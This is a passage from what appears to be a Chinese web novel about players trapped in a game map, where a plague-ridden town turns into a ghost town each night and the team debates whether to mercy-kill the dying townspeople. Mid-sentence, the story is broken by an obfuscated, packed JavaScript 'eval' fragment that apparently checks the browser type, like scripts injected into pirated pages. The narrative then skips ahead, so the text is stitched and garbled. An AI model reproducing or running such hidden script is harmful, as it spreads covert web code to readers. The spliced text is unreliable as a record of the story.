距离她几条街巷之外,几只鬼魂失去了追逐的目标,低声呜咽着,各自散开,游荡在荒凉破败的镇子之中。月光苍白,几棵枯树枝干的影子被拉得很长,像一只只扭曲的鬼手。 唐逐星就倚坐在其中的一棵树边。最近的一只鬼魂离他不过二十多尺,也就十几步的距离,还在越靠越近。它飘动时带起的冷风幽幽拂过连片衰草,那种刺骨的冰寒已经近在咫尺,滴滴答答的血渍一路落到他面前,但唐逐星依然一动不动,甚至几乎看不到他呼吸时胸膛的起伏。 彻骨寒意逐渐远去,那鬼魂径直从他身边路过,转到另一条小路上去了。 浮光跃金池,掠影离绝地。 即使追着他的鬼魂已经走远,唐逐星也依然维持着原来的姿势没有动。在那些痛苦低沉的呻吟声远去之后,这个镇子已经静得吓人,四下里,只有不知何处飘来的纸钱落下的簌簌声,和偶尔响起一两声的寒枭啼鸣。 他的呼吸很轻,可以说是微不可察了,即使人就在那里,一晃眼,也很有可能将他看成树或草的一部分,看成是月光流过大地时留下的阴影。这就是唐门的浮光掠影,能让自己完全地融入整个环境,像本身并不存在那样。 唐逐星看着鬼魂走远,心里几乎没有任何波澜。 他感觉自己进入了一种奇怪的状态,那种感觉非常平静,好像世界上的一切离自己都很遥远,非要形容的话,大概就像是在深海中遥望岸上,目之所及的一切都是缥缈虚幻的微光。他忽然有点明白付井仪所说的自行领悟技能了,也许这就是所谓的“心无旁骛”,的确是一种专注到可怕的状态,离真正的心无也许只差一个响指的距离。 即使意识到了这一点,唐逐星的情绪也没什么过大的起伏。他静静地坐在那里,思考的是和曲小蕨相同的问题。 与唐逐星完全不同,现在状态最混乱的大概就是行守了。随着阿里曼圣像力量的逐渐加强,鬼魂对他的畏惧也在减弱,起码第一夜的鬼魂会特意绕过他,但现在他身后也穷追不舍地跟了几只。 和尚本来跑得也不算快,还好那种威慑还没完全消失,鬼魂一时半会也对他没什么威胁。 让他感到混乱的是他的心绪。在进入浪客行后,也许是职业的原因,他感觉自己的性格变得沉静了许多,也逐渐了解到了一些之前几乎没怎么听说过的禅语,真要说起来,大概就是被灌输了一吨设定。 但这些设定并没有让他变得更轻松,尤其是到了荒魂镇这张地图,他总是会忍不住想起来,以前听家里信这个的长辈讲故事,总能听到有些参禅把自己参疯了的人的事迹。 行守现在感觉自己就是那故事里没有慧根参不出的俗人,他的脑子里正不合时宜地来回滚动着一段经文。 “所有一切众生之类,若卵生、若胎生、若湿生、若化生;若有色、若无色;若有想、若无想、若非有想非无想,我皆令入无余涅槃而灭度之。如是灭度无量无数无边众生,实无众生得灭度者。” 换做以前的他,看到这个估计两眼一抹黑,什么也看不懂,自然不会为之烦恼。但现在他能懂了,反而觉得自己更迷茫了,也许这就是所谓的人生忧患识字始,弱智儿童欢乐多…… 如果他们确实是在一个游戏中,那么荒魂镇这些枉死的镇民,就是NPC,是数据,是被写好的程序,是庞大滚动的信息流中被截停的某一段,和那些红名怪从本质上来说并无不同。这里不是现实,而是虚妄。 佛讲无情无欲无贪嗔痴,就是不要“着相”,过于在乎虚妄就是着相。 行守思来想去,觉得自己确实是着相了。 此刻他们也在这个游戏之中,所谓现实,不就是满足“现在”和“实在”才叫现实么? 这段他莫名其妙就想起来的经文里说,佛不度人,人需自度。行守想了想,代入到这荒魂镇中,说得俗点儿,大概就是救不了、不用救的意思。 身在云端莲台,闭目不看人间。 “完了,看来我的确没有慧心悟性,是个俗人。”行守想,但他并没有感到很遗憾,相反,却松了口气,“当不了大师,当个武僧也不错。” 他忍不住摸了摸自己白色箬笠下的脑袋。 感谢游戏分配的雪河校服,这箬笠学名应该叫莲花笠,僧人常戴。它在挡住大半张脸的同时挡住了自己的脑壳,搞得队友们每天都琢磨着找个什么借口能把这玩意揭了,看看底下是不是光头。 笑死,这帮人永远别想知道。 行守握紧燃木,长舒了一口气,不再理脑海中纷乱晦涩的念头。 滚滚红尘,烈烈人间,岂能双目无尘、两眼空空? ——救人,即使是数据,即使救不了,也要救。 尹有攸抬手晃了晃酒壶,听声音酒是要见底了,毕竟得一直喝酒重置烟雨行。他琢磨着等会儿还得把鬼魂再甩远点,就可以从小队仓库里拿客栈出品的美酒续上一杯,反正丐帮自带不会醉的buff。 和各怀心事的队友不同,尹有攸大概是进入第三天以来变化最小、想得最少的一个人。 他从头到尾,只有一个很简单的想法: 能做到什么,就做什么。 除此之外,太复杂的事他考虑不来,而且似乎也不需要想那么多,因为付井仪想得总是比他周到,而曲小蕨又会率先提出他想问的问题,行守和唐逐星也很靠谱,他的队友们已经很完美了,值得完全的信任和托付。 丐帮,一种凭借强大直觉行动的生物罢了。 如果说有什么正在困扰尹有攸的事情的话,那大概是耳畔那些穷追不舍的痛苦惨叫声涌进来,让他心里很不舒服。也许是因为戴着云幕遮,他的听力变得出奇敏感,一点儿风吹草动也能听清楚。 ——也是因为这样,其实大多数时间他根本睡不着,包括之前在茶馆短暂的小憩,他看似趴着,实际上根本没有休息。红河渡的大街小巷人来人往,鸡鸣狗叫,人声鼎沸,尽收耳底,如果换个心智不那么坚定的人来,可能已经发疯了。 普通的市井喧嚣尚且如此,何况是镇民们死后鬼魂发出的、直击人心的惨叫。那些声音连绵不绝地回响在耳边,只要稍微还有点感情的人,都不会不动容。对于尹有攸来说,他已经是在完全凭借坚忍的意志力在和这些声音做对抗,但自他们进入第三天已经是将近十二个小时了,这十二个小时,他的精神一直在高度紧绷着,此刻早已感到了疲惫。 但没有什么是一口酒解决不了的,如果有,那可以多喝一口。 就在这样不间断的纷扰声中,尹有攸往前奔跑的脚步突然微微一顿。 他敏锐地从那些惨叫中捕捉到了遥远的、似有若无的琴声。 自从知道了杀死鬼魂会让阿里曼圣像的力量增强之后,他们的原则就变成了“非必要不交手”。此刻听到琴声,显然是付井仪在使用技能,不知道是不是被鬼魂追上、不得已才进行还击。 尹有攸身形一动,就要往琴声传来的方向去,刚跑了两步,却是临时停下,换了个相反的方向。 ——因为自己屁股后面还乌泱泱跟着一群呢,现在过去不是帮忙,而是添乱。 他皱起眉头,但也无计可施,只能希望压力不大的行守或唐逐星能甩开鬼魂,循声过去帮帮忙。 与此同时,镇子的东南方向,付井仪一拨琴弦,一声轻响,他整个人已经换了位置,出现在一街之隔的另一端。 和尹有攸想象的不同,他只是在恰影子,单纯地赶路。 如果队友们在这里一定会很吃惊,因为付井仪身边竟然没有任何鬼魂。这么说倒也不尽然,这附近还是游荡着两三只鬼魂,但它们就如同忽视了隐身的唐逐星那样,对近在咫尺的付井仪视而不见,只是在听到琴声时略微有所反应。 “分开跑虽然能减少大家的压力,但也有弊端,那就是没办法尽快地传递消息……只要屏住呼吸,就不会被察觉的这个方法。” 付井仪眉头紧锁,再次拨动琴弦,用出疏影横斜,往前迅速移动着。他的目标非常明确,那就是在这一片荒凉废墟里并不显眼、但细看就会发现不同的一栋倒塌了半截的小楼。其他的房子都已经完全坍圮,但这栋小楼,和阿里曼圣像虚影所在的寺庙一样,都保留着一部分完好的结构,简直是把“我是线索”这四个字贴在了门框上。 小楼附近没几只鬼魂,这只是荒魂镇的第三夜,死去镇民的数量还不算特别多,分散在偌大的镇中,更显稀疏。付井仪在小楼破败的门前停了下来,终于能呼出一口气了。他掏出袖中唐逐星分发给各人的简易小地图,再次确认,这栋小楼正是他第二天白天见过的书阁,是里正所说的、存放地方志的机构。 所谓地方志,就是指记录某地情况的史志,一般都是乡志、县志,唐朝时期对镇的概念还不算特别明确,但既然里正说有,那么红河渡想来也有镇志。 付井仪心里隐隐有种预感,第三天的转机就在这里了。 如果他能在这栋被土埋了半截的小楼里找到地方志,起码能搞明白红河渡和荒魂镇到底是什么关系,而地方志对镇子的记载中想必也会有很多值得发掘的线索。 他推开木门,走进这栋只剩几面墙的小楼。楼里一片漆黑,他从小队仓库里取出火折子照明,发现毁坏情况比想象中更糟糕,这里满是残破蛛网,散落遍地的土块砖瓦和裂开的梁柱堆积如小山,仅剩的几根横梁也一副随时会折断的样子。 别说找到一本书了,人几乎都没法踏进去一步。 付井仪是有点洁癖的,但现在他只觉得松了口气。虽然他在第二天白天就想到了地方志,但紧接着发生的事情太多,一时间还真没顾上。假如今夜没发现这座书阁,那么按照一般套路,到明夜,这栋楼很可能会完全坍塌,到时候想要从废墟里找到地方志,那可真是难于登天。 他面不改色地拂开面前飘荡的蛛网,将琴背回背后,俯下身,开始搬动地面的乱石。 天色微明时,鬼魂们便停止了追逐,曲小蕨终于能放心地往他们的集合地点跑。她还特别注意了一下,看鬼魂们隐去的方向,它们大概是要回到圣像里去。 她已经跑了整整两个小时,累得气喘吁吁,直接一屁股坐在河堤上。 “小蕨,还好么?”第二个到的是行守。 曲小蕨嘴一瘪:“一点都不好,我想快点结束这一天……” “再忍忍,还有半天。”行守安慰她。 不多时,唐逐星和尹有攸也各自过来了,出乎意料,最后一个到达河边的竟然是付井仪。 “你……去挖煤了?” 唐逐星上下打量他半天,抛出一个比较委婉的问法。 肩上还挂着蛛网的付井仪面不改色,掸了掸衣摆上的灰尘,拿出一本脏兮兮的旧册子来:“我找到了这个。” 他拿着那厚厚册子的五指简单地绕了几圈绷带,大概是在废墟里挖了很久,连手指都磨破了。能让付井仪费这么大劲的肯定是好东西,几个脑袋凑在一起,紧紧盯着他翻开那本破旧册子的动作。 “……” 册子刚一翻开,几个人便眼前一黑,又转眼盯着付井仪看,等他说话。 这眼前一黑,就是物理意义上的眼前一黑。那册子前几页都没了,翻开就是一片密密麻麻的蝇头小楷,竖版、没有标点、繁体,黑压压的就不说了,还被尘土糊得脏污不堪。虽然说大家或多或少都能认读繁体字,但打眼一看过去,真是头大如斗,完全生不起任何想要细看的心思。 付井仪快速地看了两列,便说:“这是本地方志,前面这几章都是题序,大致讲了一下修订编纂的事情,没有什么有用信息。” 他又往后翻了两页,翻出了类似于目录一样的章节来,这几页排版非常简洁,大家都能看懂,就发现这本地方志大致分了舆地、山川、陂塘、恩例、赋役、建制、官师等等二十多卷,最后一类尤为显眼,叫做“时事卷”。 这时事卷听起来就像他们要找的重点,付井仪直接翻过去,刚看了几列,却发现这地方似乎根本没发生过什么大事,所谓时事只是记了些修路开地之类的琐事。 他又往后翻,一目十行地看过去,飞速提取着信息,忽然目光一凝,看到了几个关键字。正当他想再仔细看去的时候,手上忽然一轻,那册子竟然穿过他的手掉在了地上,随即凭空消失了。 几个人都看见了这一幕,一愣之下,这才发现,天色已经亮了起来。 “……夜里的东西不能带到白天来?”曲小蕨蹲下来在地上一通乱摸,确定那册子是真不见了。 “看来是这样。”付井仪闭了闭眼,在心里默记下刚才瞥到的几句话,转头对唐逐星道,“有件东西要麻烦你去取来。” “唐门速递,使命必达。”唐逐星一挑眉,“什么东西,庙里那圣像?” “不,是红河渡的里镇志。”付井仪一指不远处的书阁,“与我刚才拿的册子会比较像,就在那栋楼里,应该会有值差的人看守,注意不要被发现了。” ……原来不是速递,是零元购。 之前那家茶馆就在河边,几人干脆再次去凉棚坐下等唐逐星。虽然红河渡看起来还是老样子,但他们这一路上看到的镇民越发少了,看看茶馆,也是直接大门紧闭,冷冷清清。 “不妙啊。”行守长叹一声。 唐门功夫何其精妙,骗过几个小镇差守轻轻松松。他们等待了不过片刻,唐逐星便带着一本书回来了。 他带回来的这本书从外观上来看,几乎和付井仪之前从废墟里挖出来的那本一模一样,只是更为整洁,装订严谨,封面是五个大字:紅河渡鎮志。 付井仪向后翻了几页,只见它的体例同那本脏兮兮的册子别无二致,他径直翻到最后,却发现这本里镇志直接结本了,并没有他之前特别注意的那段话。 “看出什么了?”行守问。 “两本书有部分记载完全相同,我想,荒魂镇大概就是多年后的红河渡。”付井仪合上书,道,“不过这本书比我们晚上找到的那一本少了几页,那几页上记载的应该就是这次无妄之灾,但写得不是很详细,我也只是匆匆一瞥。” “为什么会少页呢?”曲小蕨踊跃提问。 “因为还没写出来。”付井仪说,“白天和黑夜是不同的时间线。我打个比方,假如现在是景龙年间,那么晚上的荒魂镇,可能就要到开元年间了。” 曲小蕨捂住脑袋:“信息量有点大,你让我捋一捋……首先,我们白天在红河渡,对吧?然后晚上就到了荒魂镇,而荒魂镇就是很多年后的红河渡,它已经完全成了一个废弃的荒镇……” 她愣了一下:“那不就是间接证明了,这些镇民在这次灾变中没能活下来吗?” “也不尽然。”付井仪说,“晚上那本里镇志有对这场灾变的记载,说明还是有能够编纂里镇志的人活下来了。” 本以为镇民必死无疑,但没想到有人幸存,这无疑是一个好消息,行守立即追问:“那记载都写了些什么?” “我只是扫到了一眼,天就亮了。”付井仪道,“但大多数笔墨都在灾厄中死去的人名上,对事件的描述却只有寥寥几语而已,大意是说有阴邪为祸、时人多病殁、无计可除,后面的字被虫蛀了,看不太清,最后一句话是‘携像,与之俱去’,似乎是阿里曼圣像被带离了这里。” 他又问曲小蕨:“依你看,带走圣像能救镇民吗?” 曲小蕨一愣,从椅子上跳起来,先点头后摇头:“能!也不能!这些人身体里都有那种‘毒素’了,这是祛除不掉的,但既然红衣教用了某种邪术以镇民的生命供养圣像,那带走圣像,剩下的人没了外因刺激、好好将养,也许还能活久一点!” “那不就简单了。”唐逐星一挑眉,“找个镇民带上圣像离开这镇子,能跑多远就跑多远。” “对呀!”曲小蕨的眼睛顿时就亮了,“我们出不去,但是这些人可以出去!太好了,这就是第三天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在街上安静得很,是难得能得到放松的机会。尹有攸也倚在凉棚的围栏上,感觉脑袋一阵阵发沉,困意来得十分汹涌。他闭上眼睛,心里却想,用镇民死亡为代价换来的静默才不是什么好东西,他宁愿红河渡一直热热闹闹的。就像那槐花酒,闻起来实在是清爽醇香,但想到它背后的故事,他一点也不想喝,甚至闻到就是一阵反胃。 日光稍稍西斜了一些。 唐逐星才坐起来,便看见靠在栏杆上的尹有攸朝他这边偏了一下头,隔着云幕遮看不清他的眼睛,也不知道是没睡,还是下意识的动作。 再看看其他人,行守趴在桌上,一只手还按着自己的斗笠,曲小蕨在长凳上抱着蛇哥蜷成了一小团,而付井仪端端正正地倚在凉棚的篱墙上,要不是闭着眼,谁也看不出来这是睡觉该有的姿势。 “你醒着?”唐逐星压低声音问,便看到尹有攸点了点头。 为免吵醒其他人,他们从凉棚里出去,走远了一些,商量着去镇民家里借辆车,去庙边看看那圣像长了多少。 这茶馆的地理位置很好,就开在河堤旁边,离衙署和驿站都不算远,他们敲开一户人家的门,说明来意,却被主人拒绝了。 “我家有驴车,但没法借给你们。”那中年男子手上还抱着包裹,苦笑道,“家里正在收拾行装,准备去别处避一避这场大疫,趁天还亮着,马上就要出发了。” 唐逐星往他身后一看,只见这家的老老少少确实都在收拾金银细软,忙着往停在小院里的驴车上装行李。 他的心里微微一动。看来并不是每个镇民都像他和曲小蕨遇到的那个车夫一样不愿离开,生死面前,也不得不背井离乡了。不过这样一来,却无形中大大缓解了他们的压力,毕竟离开红河渡的镇民越多,他们晚上要面对的鬼魂就越少。 他们离开这家,又换了一户人家借车,这家人倒是很痛快地借了他们一辆牛车。 “我看这镇上似乎有不少人要离开啊。”唐逐星道过谢,又说,“这位大哥,你家不走吗?” “能走的都是有亲戚可投奔的。”那镇民苦笑道,“像我们这种土里刨食的,往哪走?今年开春后稷子还在地里呢。” 他示意二人看门后堆成座小山的麦谷:“喏,那还有没磨的,这两天也得抓紧磨出来了,全家都等着这口饭呢。” “但是命没了就什么都没了啊,你吃这口饭有什么用?”尹有攸问。 唐逐星没忍住瞥了他一眼,心想这丐帮怎么用这么真诚的语气说出了如此阴阳怪气的话。还好那镇民是个心大的,也不生气,叹了口气解释道:“不是我们不想走,也不是不怕死,我们镇子本身就在荒郊野岭里,除了我们这一块临近洛水地势平坦,周围都是桉林,山上熊虎毒虫何其之多啊,又不是人人像你们这样都是高来高去的大侠,你以为那些离镇的人又有几个能活着走出去?” 尹有攸还想说话,被唐逐星拉了一把,强行谢过镇民告辞了。 临行前,那镇民拉着他们千叮咛万嘱咐,说一定要把牛还回来,家里开田还要用。 他们俩都是第一次赶牛车,研究了半天,还好老牛聪明温顺,轻轻一拍就跑了起来。其实若按照他们的速度,自己直接赶到镇北边要比坐牛车快多了,但考虑到夜间怕有什么突发情况,还是选择在白天保留体力。 “不再劝劝吗。”尹有攸问。 唐逐星冷笑道:“一家一家劝?劝到什么时候?第四天的白天马上结束,按照付井仪的算法,我们到第六或第七天就要离开,满打满算也只剩六个小时。再说了,我们又不能离开这小镇,谁护着这些镇民走出去?” “……”尹有攸闭嘴了。 他不说话了,唐逐星也沉默下来。在小木轮转动的轱辘声中,二人一路无言,一直到牛车到达地方,才跳下车,寻找起圣像。 自第三天白天起有数个镇民倒在庙前起,这庙又迅速地冷清下来,圣像还倒在那里,连位置都没半点变化。 唐逐星隔着红布把它捡起来,入手就发现这圣像又变沉了一些。二人一看,雕像还是那个闭目微笑的女子,只是她的臀部已经“长”了出来,被襦裙覆盖的下端截面完整而自然,好像天生就是雕成这样的。 “这速度有点快啊。”唐逐星琢磨了一下,“这样下去,等不到第七天,这东西就长全了。” 他们又试了试把这圣像往外扔,然而这荒魂镇地图似乎就只有镇子的这一部分,圣像就像撞到了看不见的墙壁那样,落在了地上,自然是毫无损毁,捡起来的时候,倒是发现那圣像的手感也变得越发诡异,就像真人的皮肤一样,带着些许温度。 眼看天色再一次变暗,他俩带上圣像,坐上牛车返程。老牛也知道是要回去了,都不用人赶,一路小跑跑回自家后门前。 唐逐星刚跳下车,就闻到那没关的院门里飘出一股血腥味。他心道不好,推门一看,果然看到之前借他们牛车的那镇民已经倒在了地上,口鼻流血,双目暴凸,手中还攥着一把谷粒,一试颈边温度,入手冰凉,显然已死去多时。 尹有攸一皱眉,跨进院子里,径直推开东厢房的门,便在床上发现了同样已经死去的女主人,她怀里还有一个年幼的女童。 那小姑娘看起来不过五六岁,吓得连哭都不会了,鞋都没脱,看样子是直接爬上床的,依偎在母亲怀中,一双大眼睛呆呆地看着走进来的人。直到尹有攸小心翼翼地把她抱起来,那小姑娘才哇地一声大哭出来,小手朝母亲的方向挣扎着。 凄惨的哭声很快引来了旁边的邻居,唐逐星向他们说明了情况,那家人看上去有些害怕,但还是勉强将小姑娘接了过去,说先看顾她一晚,明日再找里正商量商量怎么办。至于院内和房内的两具尸体,没人敢动,那家人说是这几天衙署有人挨家挨户地敲门看情况,要是死人了,就拿草席一裹、拖走埋了。 哭泣不止的小姑娘被抱走了,院子里便静了下来,只有那头老黄牛呼哧呼哧的喘气声。 “……” 唐逐星伸手,捻起一把带血的谷粒,露出若有所思的表情,反手从小队仓库中拿出个火折子来。 “你要干什么?”尹有攸反应很敏锐,一把按住他的手,就见唐逐星道:“我忽然又觉得,这些人还是离开的好。若是全镇人能一起行动,那豺狼虎豹也要畏避的。” 尹有攸怔怔地看着他,便听到他慢慢说: “你说,如果我一把火将这小镇全烧了,他们是不是就不得不走了?” 17. 第三天·荒魂镇(十七) 暮色昏黄时分,离队的二人才姗姗来迟。 行守还在给弩箭上补六字大明咒,放下笔,就看见两个人形容狼狈、灰头土脸,头发上还沾着麦粒,像是在田里滚了一圈,不禁一愣:“你们……干嘛去了?” 尹有攸老老实实地说:“打了一架。” 唐逐星则冷笑了一声,抬手把一个东西扔到桌子上,咚的一声。众人看过去,就发现那是被红布包严实了的圣像。 “有什么变化了吗?”曲小蕨说着就想去伸手解开红布,被唐逐星拦了一下:“别碰,这东西又邪门了,最好别看。” “到底咋了?”曲小蕨好奇道,于是唐逐星言简意赅地将之前的事都说了一遍,隐去了镇民一家死去的事情。他没提打架胜负,不过大家想了想丐帮近身打鲸鱼,很识趣地没问,至于那把火,当然是没放起来。 听完这段话,付井仪脸色就沉了下来,手指轻叩了两下桌子。大家以为他又要分析什么,朝他看过去,便听到付井仪沉声说: “民生维艰。春耕夏耘,伐薪徭役,送往迎来,吊死问疾,养孤长幼,亡日休息。盖其艰难困苦以之于此,落井下石,又何忍焉?岂不闻利民之事,丝发必兴;厉民之事,毫末必去?……” “震惊!”曲小蕨偷偷跟行守咬耳朵,“我还以为咱们小付老师没受到人设影响呢,这怎么跟我初中班主任似的。” 付井仪微微一顿,流畅地换了话题:“……说一下关于夜间鬼魂的问题,它们是通过呼吸来判断人的方位的,所以只要屏住呼吸就不会被发现。部分鬼魂对声音也有所反应,但并不算敏感。” 他说这话的时候,天色已经很暗了。放眼望去,这不久之前还热闹非凡、家家炊烟的镇子,现在竟已有了大片的黑暗,不少宅子都已经无人掌灯。 尹有攸抄起桌上的圣像就是两个烟雨行蹿了出去:“我带它走远一点,省得鬼魂刷出来太近。” 话音落地,人已经在很远的地方了。 “那我们还和昨晚一样分散开来吧。”行守紧接着道,“但我觉得,也不要散开太多,以免发生意外。” 大家都同意,于是各自散开,去往不同的方位。 夜幕降临,红河渡再一次被荒魂镇取而代之。 付井仪垂下眼,就看到自己手上多了本书,正是他昨晚从濒临倒塌的书阁中挖出来的那本里镇志,上面还沾着泥土。 他翻开书页,就着冷白的月光找到之前所看到的那一段话。和前夜一样,唯一能看清的还是只有“携像,与之俱去”这几个字,之前的书页都被虫蛀掉了,但看后面,还有些编者表示感激的话语。 他再往后翻,看了半天,终于又找到一段让他有些在意的记载。那是时事卷的最后一段,虽然字迹也脏污不清,但还是隐约能分辨出来,有几个“僧”的字样。 他们的队伍里就有少林,这个“僧”不能不让人注意。看了看周围还没有鬼魂,付井仪干脆取了火折子出来照明,仔细读了起来。 第四夜的鬼魂数量,比起第三夜,几乎是成倍地增加了。曲小蕨穿行在巷子里,放眼望去,几乎每条路上都有四五只鬼在徘徊。其中,大部分鬼魂都是之前没见过的,这些鬼魂的胸膛鲜血淋漓,心口处是一个巨大的空洞;她根本就不敢想象有多少镇民死在了白天。 不过鬼魂的数量虽然变多了,但有了付井仪提供的方法,应对它们追逐的难度反而下降了。只是曲小蕨在躲避的过程中发现,这些鬼魂并不像付井仪所说的那样,对声音不太敏感,相反,只要动静稍微大一些,它们会立刻注意到,并且围拢过来。 从他们认识以来,付井仪的观察几乎就没出过错,那么就只有一个结论了——这些鬼魂也在成长。 就像他们可以屏住呼吸让鬼魂无法察觉一样,鬼魂的听觉也在渐渐进化,直到只凭声音就能够发现他们的行踪。 但目前看来,这个变化并不算多么可怕,因为想要不发出声音还是很简单的,稍微注意一下就可以了。即使不小心把动静搞大,在鬼魂围拢之前屏住呼吸快速离开原位,也能应付过去。 总体来说,今夜鬼魂虽然变得很多,但难度比前两夜小多了。当天色微明的时候,曲小蕨甚至有点恍惚。 就这?就这? 对比起前几夜,这一晚简单得甚至有点不真实。 她恍恍惚惚地走到集合地点,就看见其他人脸上大致也是这个表情。 从进入荒魂镇以来就一直忍受着心理和体力上的双重折磨,现在“幸福”来得太突然,大家的第一反应并不是松了口气,而是更加谨慎。直到太阳升起来,红河渡重新出现,他们才确认,第四晚确实就这样风平浪静地过去了,第五日的白天开始了。 “圣像呢?”付井仪问。 尹有攸指了指远处一户人家:“天黑之前就扔在猪圈里了。” 付井仪沉默了一下:“……也行。” “难怪我一直闻到一股臭味。”行守打趣道,“原来你是去翻猪圈了。” 他这么一说,其他人也闻到了隐隐约约的呛鼻臭味,正要笑话尹有攸一番,却看见他一愣,道:“我没靠近,站在院墙上把圣像扔进去的。” 曲小蕨离他最近,皱起鼻子嗅了嗅,只闻到了一股甘醇的酒香。 “那这气味从何而来?”行守疑惑道,掀起箬笠下端的白帷,发现那臭气越发浓烈了,而且似乎找不到源头,四面八方似乎都有这股味道。 甚至他们身后的茶馆,就飘来一种很浓烈的恶臭。 几人对视了一眼,唐逐星率先上前,推开茶馆大门。顿时,一股腐烂的酸臭味冲了出来,那种强烈的、令人窒息的臭味几乎无法形容,熏得曲小蕨脑袋一懵,差点当场吐出来。 没人受得了这个味道,唐逐星从门边退开,绕到另一边咳了两声,付井仪更是直接拉开距离站到凉棚的另一边去了,还是行守沉得住气,闭住呼吸,走进了茶馆。 他在里面待了不到半分钟就出来了。 “老板……死了。”行守说,“应该有几天时间了,有些虫蝇。” 老板,就是那个给他们掌过灯的和善男人,曲小蕨一愣,还没来得及伤心,就想到了一个更大的问题。 为什么四面八方都有这股味道啊? 其他人也想到了这个问题,不用说,便迅速各自前往附近的民宅中查看情况,最后都是铁青着一张脸出来。 “不是说会有衙署的人挨家挨户敲门查看镇民的情况吗?”唐逐星的声音也冷了下来,“……难道衙署没人了?” “去看看就知道了。”付井仪道,又对尹有攸说,“有攸,你去把圣像拿回来,看看它的变化。” 尹有攸答应了一声,便行动起来。他扔圣像的这户人家不知道是死了被下葬了、还是逃离了红河渡,总之昨日就已经人去屋空,更方便了进出。本来味道冲鼻的猪圈在这个时候竟然变得平平无奇了起来,尹有攸用树枝挑出圣像的包裹,避开脏污处解开,就发现那圣像已经长出了双腿,一直长到膝盖处,看起来越发完整了。 云幕遮并不是完全阻碍视线,他平日都是透过光影变化来看待事物,只是细节难免模糊不清。现在也顾不上那么多了,尹有攸挑开眼罩的一边朝圣像看去,却看到那圣像脸上笑容的弧度竟然愈发扩大,如果说之前只是微微含笑,那么现在就是毫不掩饰的笑,笑容中还带着一丝细微难察的嘲讽。 他只是看了这么一眼,就觉得心里暴躁起来,恨不得一拳把这圣像锤烂,赶紧放下云幕遮,将圣像胡乱包好,又送回了猪圈,掉头去衙署找队友了。 丐帮的基础跑速比大多数门派都要快一些,他赶到衙署门口的时候,恰好碰见队友们出来。还不等他发问,付井仪便开口解释:“还有差人活着,此时也正在镇中忙碌,只是死去的镇民太多,已经收殓不过来了。” 要死多少人才能让衙署疲于收殓? 以往在历史书上读到战争和瘟疫,那些死伤数字虽然庞大,但总让人没有什么实感。如今他们也算是身临其境,眼睁睁地看着一个小镇在短短“五天”内从热闹祥和变得死寂无声,而这小镇也不过才两千多人而已。 至于那位里正,也还活着。只是短短几天时间,对他们这些玩家来说也就十来个小时,这位老人家已经苍老憔悴到不成样子了。见到四人,里正也没再提要他们带走那“邪神”的事情,只是苦笑着摇摇头,已经没什么话可说了。 曲小蕨忍不住就想到了语文课上背过的《蒿里行》。 白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠。 他们还站在衙署门口,便看到一个中年男子拖着一张草席,脚步踉跄地走在街上,看他的方向,就是镇子的坟岗。 尹有攸问:“这是要干什么?” “等死。”付井仪淡淡地回答了他的问题,“用草席把自己裹起来,躺在坟地,等待大限到来。” 他说完这句话,其他四人都久久没有作声。 曲小蕨低头看着自己的裙摆,感觉刚树立起来的决心再一次被动摇了,她在难过的同时,甚至有点愤怒。 为什么我们要被分到这张地图来啊,为什么我非得玩这个游戏不可? 一种莫名其妙的冲动在她心里升了起来。她忽然觉得唐逐星说得对,都是要死,与其死了做邪神的养料,不如死在他们的手里,至少五毒有很多种方法能让人在美梦中一睡不起。 她不知道这种冲动,是不是付井仪所说的“和人设融合”,但她觉得,如果能真的亲眼目睹着这些镇民痛苦死去却还无动于衷,那才是真正的恐怖。 曲小蕨向来是个直言直语的个性,她一秒也忍不了,立刻将自己的想法说了。 “开玩笑。”付井仪的声音冷得吓人,“你知道杀人是什么感觉吗?你知道现实中每年有多少退役士兵被创伤后应激障碍折磨到自杀吗?你确定你能承受得起那种亲手结束一条生命的心理煎熬?” “但是我更做不到眼睁睁看他们那么痛苦地死去!”曲小蕨第一次和他顶嘴,眼泪都在眼眶里打转,“你怎么知道杀死他们的心理负担就一定比看着他们这样死掉的痛苦少?还不如……还不如让我来试试……反正我有蛊,我可以把毒下在河水里,不会有那么多的负罪感……” “你确定?你知道你要做的事是什么吗?”付井仪毫不留情地说,“你要在一条河里下毒,让喝了水的镇民都中毒死亡!曲小蕨,你自己再听听!你以为你做出了这样的事,你还是原来的那个人吗?” “那我怎么办!”曲小蕨喊道,伸手一指不远处的民居,“我和师父进去的时候,他们家的几口人就倒在门前,你知道吗?那个小男孩也就和我差不多大,他的尸体都已经肿成原来的两倍了,身上爬满了虫!就算这样,他死之后,他的鬼魂也要在荒魂镇里被阿里曼那个破玩意驱使,死了也不得善终!还不如让他们都死在咱们的手里,就让唐逐星一把火把这个镇子烧了算了!” “……不行。”付井仪以完全没有商量的语气,斩钉截铁道,“你记住,你现在在一个叫做浪客行的游戏里,这些镇民对于你来说,只是NPC而已,我们才是人,不要把数据看得比生命重要。” 曲小蕨瞪了他半天,终于在付井仪平静如水的面色中泄了气,狠狠地擦了一把眼睛。 “对不起。”她低下头,突然说,“我不是故意朝你发火的,我知道你说的是对的。但是我……我就是做不到那么无情……” “我来劝劝她。”行守朝付井仪低声道,轻轻拍了拍曲小蕨的肩膀,带着她走到一边去了。 唐逐星看着他们的背影沉默了一会儿,也挥了挥手。 “我现在脑子里混乱得很。”他说,“我感受到你说的那种融合了,我也很讨厌这种隔岸观火的感觉。给我一点时间,我自己捋一捋。” 临了,他还一指尹有攸:“你过来,如果我要做什么不理智的事,拦一下。” 一支队伍眨眼间就散了个干净。 付井仪轻轻地叹了口气。 他手上还拿着那本属于白天的里镇志,便自己回到了书阁二楼,放好了那本里镇志。 这种地方志都是放在匣子里妥善保存的,也有专人看管,只是现在看管的人已经不在了。付井仪合上匣子,凝望了它一会儿。 ——假如那个猜想能够成真的话,不久之后,将会有人再次来到这里,打开这本册子,写下这个小镇的结局。 他下了楼梯,忽然发现,台阶底下竟然站了三四个小孩儿,仰着头,安安静静地看着他。 角落里还有更多的小孩子,脸上带着泪痕,木呆呆的,一声也不吭,蜷缩在阴影里,很容易就被忽略了。 